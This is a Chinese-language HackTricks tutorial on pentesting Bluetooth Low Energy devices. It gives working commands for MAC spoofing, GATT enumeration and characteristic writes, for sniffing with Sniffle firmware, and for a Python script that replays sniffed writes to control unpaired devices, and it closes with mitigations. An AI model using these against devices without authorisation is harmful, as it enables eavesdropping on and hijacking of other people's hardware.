Pentesting BLE - 蓝牙低功耗
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
介绍
自 Bluetooth 4.0 规范以来,BLE 只使用 40 个信道,覆盖 2400 到 2483.5 MHz 的范围。相比之下,传统 Bluetooth 在相同范围内使用 79 个信道。
BLE 设备通过发送 advertising packets(beacons)来通信,这些数据包向附近的设备广播该 BLE 设备的存在。这些 beacons 有时也会 发送数据。
监听设备,也称为 central device,可以对 advertising packet 使用专门发送给该广告设备的 SCAN request 进行响应。对该扫描的 response 使用与 advertising packet 相同的结构,但包含一些无法放入初始 advertising 请求的附加信息,例如完整的设备名称。
前导字节用于同步频率,而四字节的 access address 是一个 connection identifier,用于多个设备尝试在相同信道上建立连接的场景。接下来,Protocol Data Unit(PDU)包含 advertising data。PDU 有多种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 不接受连接,则使用 ADV_NONCONN_IND PDU 类型,仅在 advertising packet 中传输数据。如果设备 允许连接,则使用 ADV_IND,并在 connection 建立后停止发送 advertising packets。
GATT
Generic Attribute Profile(GATT)定义了 设备应如何格式化和传输数据。在分析 BLE 设备的攻击面时,你通常会将注意力集中在 GATT(或 GATTs)上,因为它决定了 如何触发设备功能以及数据如何被存储、分组和修改。GATT 将设备的 characteristics、descriptors 和 services 以 16 位或 32 位值的表格形式列出。Characteristic 是在 central device 和 peripheral 之间 发送 的 数据 值。这些 characteristics 可以有 descriptors,用于 提供关于它们的附加信息。如果为了执行特定操作而相关,characteristics 通常会被 分组 到 services 中。
枚举
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool 允许与另一设备 建立 连接,列出该设备的 特征,并读取和写入其属性。
GATTTool 可以使用 -I
选项启动交互式 shell:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing and actively controlling unpaired BLE devices
许多低成本的 BLE 外设不会强制执行 pairing/bonding。没有 bonding,Link Layer 加密永远不会启用,因此 ATT/GATT 流量是明文的。一个 off-path sniffer 可以跟踪连接,解码 GATT 操作以获取 characteristic handles and values,任何附近的主机随后可以连接并重放那些 writes 来控制设备。
Sniffing with Sniffle (CC26x2/CC1352)
硬件:一块 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352),刷写了 NCC Group 的 Sniffle 固件。
Install Sniffle and its Wireshark extcap on Linux:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
将 Sonoff 刷入 Sniffle 固件(确保你的串口设备匹配,例如 /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
通过 Wireshark 的 Sniffle extcap 捕获,并通过过滤快速 pivot 到会改变状态的写入:
_ws.col.info contains "Sent Write Command"
这突出显示了 ATT Write Commands 来自客户端;handle and value 通常直接映射到设备动作(例如,向 buzzer/alert characteristic 写入 0x01,写入 0x00 停止)。
Sniffle CLI 快速示例:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin 也可用。在小型/廉价的 Nordic dongles 上,你通常会覆盖 USB bootloader 以加载 sniffer firmware,因此你要么保留一个专用的 sniffer dongle,要么需要使用 J-Link/JTAG 在之后恢复 bootloader。
Active control via GATT
一旦你从 sniffed traffic 中识别出可写的 characteristic handle 和对应的 value,就以任意 central 身份连接并发出相同的 write:
-
With Nordic nRF Connect for Desktop (BLE app):
-
选择 nRF52/nRF52840 dongle,扫描并连接到目标。
-
浏览 GATT database,定位目标 characteristic(通常有友好名称,例如 Alert Level)。
-
使用 sniffed bytes 执行 Write(例如,01 触发,00 停止)。
-
Automate on Windows with a Nordic dongle using Python + blatann:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
运行注意事项和缓解措施
- 优先在 Linux 上使用 Sonoff+Sniffle,以实现稳健的信道跳变和连接跟踪。保留一个备用的 Nordic sniffer 作为后备。
- 如果没有 pairing/bonding,任何附近的攻击者都可以观察到写操作并重放/构造自己的写入到未认证的可写特征。
- 缓解措施:要求 pairing/bonding 并强制加密;将特征权限设置为需要经过认证的写入;尽量减少未认证的可写特征;使用 Sniffle/nRF Connect 验证 GATT ACLs。
References
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。